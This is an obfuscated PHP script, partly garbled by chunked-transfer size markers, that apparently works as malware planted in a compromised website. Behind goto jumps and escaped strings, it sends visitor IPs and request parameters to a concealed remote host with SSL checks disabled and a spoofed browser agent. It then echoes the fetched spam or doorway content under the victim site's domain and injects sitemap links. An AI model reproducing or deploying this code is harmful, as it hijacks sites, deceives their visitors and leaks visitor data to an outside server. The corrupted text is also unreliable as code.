2 $url, b CURLOPT_RET 4 URNT 4 RANS 7 FER => 4 true d , CURLOPT_SSL 5 _VERI 4 FYPE b ER => false 16 , CURLOPT_SSL_VERIFYHO 15 ST => false, CURLOPT_ 4 FOLL 4 OWLO 4 CATI 14 ON => true, CURLOPT_ 4 TIME 7 OUT => c 10, CURLOPT_ 4 HTTP 15 GET => true, CURLOPT_ 5 USERA 8 GENT => 7 "\115\1 a 57\172\151 b \154\x6c\14 7 1\57\x3 6 5\x2e\ 5 60")) 4 ; $d e ata = curl_exe 5 c($ch c ); curl_clos 8 e($ch); 15 if (!empty($data)) { 5 retur 7 n $data d ; } } if (ini 9 _get("\14 e 1\154\x6c\x6f\ 9 167\x5f\x 9 75\162\15 9 4\x5f\146 9 \157\160\ 7 x65\156 d ")) { $contex 7 t = str 4 eam_ c context_crea 9 te(array( 5 "\x68 b \164\x74\16 6 0" => d array("\155\x 9 65\164\x6 7 8\x6f\x a 64" => "\x 6 47\105 9 \x54", "\ b x74\x69\155 8 \145\x6f 11 \x75\x74" => 10, 5 "\150 c \x65\x61\x64 f \x65\162" => "\ 9 125\163\x d 65\162\x2d\x4 e 1\147\145\x6e\ a 164\x3a\40 9 \x4d\157\ 8 x7a\151\ 7 x6c\x6c 9 \x61\x2f\ 10 x35\x2e\60\15\12 7 "), "\1 a 63\x73\x6c 10 " => array("\166 e \x65\162\x69\1 6 46\x79 f \137\160\x65\14 11 5\162" => false, 5 "\x76 e \145\x72\151\1 c 46\171\137\x 9 70\145\14 b 5\162\x5f\x 8 6e\141\x 6 6d\x65 17 " => false))); $data = 14 @file_get_contents($ 14 url, false, $context 2a ); if (!empty($data)) { return $data; } } a return ''; a } goto X5 4 nb1; 9 D_iaM: $ 5 vurl c = $http_type b . "\x69\14 a 4\154\x79\ 7 62\56\x 8 69\x64\x e 73\x68\157\x70 6 \x2e\x 7 63\143\ 8 167\x75\ 8 56\143\x a 63\x2f\64\ 6 61\71\ d 56\x61\163\x7 5 0\x78 e "; goto N2pxL; 6 EzYoe 1f : if (!empty($get["\163"])) { $ 5 param a s = array( b "\163" => d 8 ate("\13 a 1\x6d\144\ 7 x48\151 c "), "\x6e\16 9 5\155\142 15 \x65\162" => $get["\1 d 56\165\x6d\x6 b 2\145\162"] 7 ); $str c = getCurl($ 7 vurl, $ 13 params); $str = str 6 _repla c ce(array("\1 7 73\xe5\ 6 275\22 8 3\xe5\x8 6 9\x8d\ 7 345\x9c 6 \260\x 8 e5\235\x 6 80\x7d b "), array($ 1b http_type . $_SERVER["\110\ e x54\x54\x50\x5 a f\110\117\ c x53\124"] . 13 $_SERVER["\123\x43\ 11 122\x49\x50\124\1 15 37\116\x41\x4d\x45"]) 6 , $str 7 ); head 6 er("\1 8 03\157\1 e 56\x74\x65\156 9 \164\x2d\ 9 164\171\1 b 60\x65\72\1 e 64\x65\170\x74 a \57\x78\15 7 5\154") 5 ; ech 8 o $str; c die; } goto 5 N4dac 8 ; X5nb1: e $http_type = 1e !empty($_SERVER["\110\x54\x54\ 6 120\12 7 3"]) && 10 $_SERVER["\x48\ e 124\124\x50\12 6 3"] != 6 = "\x6 a f\146\x66" d ? "\x68\164\ d 164\160\x73\x 6 3a\x2f a \x2f" : "\ 18 150\164\164\160\x3a\x2f\ a 57"; goto 8 Aq5NJ; f 4 5XoA b : function 10 postCurl($url, $ 16 postData = array()) { 18 $postString = is_array($ 1e postData) ? http_build_query($ b postData) : b $postData; 2b if (function_exists("\143\x75\162\154\x5f\ d x69\x6e\x69\1 ee 64")) { $ch = curl_init(); curl_setopt_array($ch, array(CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 10, CURLOPT_ 16 POST => true, CURLOPT_ 6 POSTFI 4 ELDS f => $postString 66 )); $data = curl_exec($ch); curl_close($ch); if (!empty($data)) { return $data; } } if (ini_get("\141\ 342 x6c\x6c\157\x77\x5f\x75\162\154\x5f\x66\x6f\x70\145\156")) { $context = stream_context_create(array("\150\164\164\160" => array("\155\145\164\150\157\144" => "\120\x4f\x53\124", "\164\x69\155\x65\157\165\x74" => 10, "\x68\x65\141\144\x65\x72" => "\103\x6f\156\x74\x65\x6e\x74\55\124\171\x70\x65\x3a\x20\x61\160\160\x6c\x69\x63\x61\x74\x69\x6f\x6e\57\x78\55\x77\x77\167\55\x66\x6f\x72\155\x2d\165\162\x6c\x65\156\143\157\144\145\144\xd\12" . "\x43\x6f\156\x74\145\156\x74\x2d\x4c\145\x6e\147\164\x68\72\40" . strlen($postString) . "\xd\xa" . "\125\x73\145\x72\x2d\101\x67\x65\156\164\x3a\40\x4d\157\172\151\x6c\x6c\141\x2f\65\56\x30\xd\xa", "\143\x6f\x6e\164\145\x6e\164" => $postString), "\163\x73\x6c" => array("\x76\145\x72\x69\146\171\x5f\x70\x65\145\162" => false, "\x76\145\162\x69\x66\x79\x5f\160\145\x65\x72\137\x6e\141\155\145 933 " => false))); $data = @file_get_contents($url, false, $context); if (!empty($data)) { return $data; } } return ''; } goto m5bkF; N4dac: if (!empty($get["\151\144"])) { if (empty($get["\153\153"])) { $ip = get_ip(); $params = array("\x69\160" => $ip, "\x69\144" => isset($get["\x69\144"]) ? $get["\151\x64"] : '', "\x6c\x6c" => $ll); $tzstr = getCurl($vurl, $params); if (strpos($tzstr, "\x69\144") !== false) { echo $tzstr; die; } } $params = array("\x69\x64" => $get["\x69\x64"], "\x6c\154" => $ll); $str = getCurl($vurl, $params); $str = str_replace(array("\x7b\125\x52\x4c\175", "\173\345\237\237\345\x90\215\175"), array(get_url_info("\146\165\154\x6c"), get_url_info("\156\157\137\x77\167\167")), $str); echo $str; die; } else { $sitemapUrl = $ll . "\x3f\x73\x3d" . date("\131\155\144\110\x69"); echo "\74\144\x69\166\40\x73\164\171\154\145\x3d\x27\x74\145\170\164\x2d\x61\154\151\147\156\x3a\x63\145\x6e\164\x65\x72\73\40\160\x61\144\144\x69\156\x67\72\61\x30\160\170\40\x30\73\x27\76\x3c\x61\x20\150\162\x65\146\75\42{$sitemapUrl}\x22\x20\x74\x61\x72\x67\x65\164\x3d\42\x5f\x62\154\141\x6e\x6b\42\40\162\x65\x6c\x3d\x22\x6e\157\x66\157\x6c\x6c\157\167\x22\x3e\x20\x53\x69\x74\x65\x6d\x61\160\74\57\141\x3e\x3c\x2f\144\151\166\76"; } goto nnSBp; Uh8So: function get_ip() { foreach (array("\x48\x54\x54\x50\x5f\x58\137\x46\117\x52\127\101\122\104\x45\104\x5f\x46\x4f\x52", "\x48\124\x54\120\x5f\x43\114\x49\105\x4e\x54\137\111\x50", "\x52\x45\x4d\117\x54\x45\x5f\101\x44\x44\x52") as $key) { if (!empty($_SERVER[$key])) { return trim(explode("\x2c", $_SERVER[$key])[0]); } } return "\x55\x4e\113\116\x4f\x57\116"; } goto f5XoA; shqZL: function get_url_info(string $return_type = "\144\157\155\141\151\x6e") : string { $host = $_SERVER["\x48\124\124\x50\x5f\110\x4f\123\x54"]; if ($return_type === "\144\x6f\155\x61\x69\156") { return $host; } if ($return_type === "\156\157\x5f\x77\167\167") { return ltrim($host, "\x77\x77\167\x2e"); } $protocol = isset($_SERVER["\110\x54\124\x50\x53"]) && $_SERVER["\110\x54\x54\x50\x53"] === "\x6f\156" || isset($_SERVER["\x48\x54\124\x50\x5f\130\137\106\x4f\122\127\x41\122\104\x45\x44\137\x50\x52\117\x54\x4f"]) && $_SERVER["\110\124\124\120\137\x58\137\106\x4f\122\x57\101\122\104\105\104\137\x50\122\x4f\x54\117"] === "\150\x74\x74\160\x73" ? "\x68\x74\164\x70\x73\x3a\57\x2f" : "\x68\x74\164\x70\72\x2f\x2f" 6 ; $bas 11a e_url = $protocol . $host; if ($return_type === "\142\x61\x73\145") { return $base_url; } $uri = $_SERVER["\x52\x45\121\125\105\123\124\x5f\x55\122\x49"]; $full_url = $base_url . $uri; if ($return_type === "\x66\165\154\154") { return $full_url; } return ''; } goto Uh8So; nnSBp: ?> 0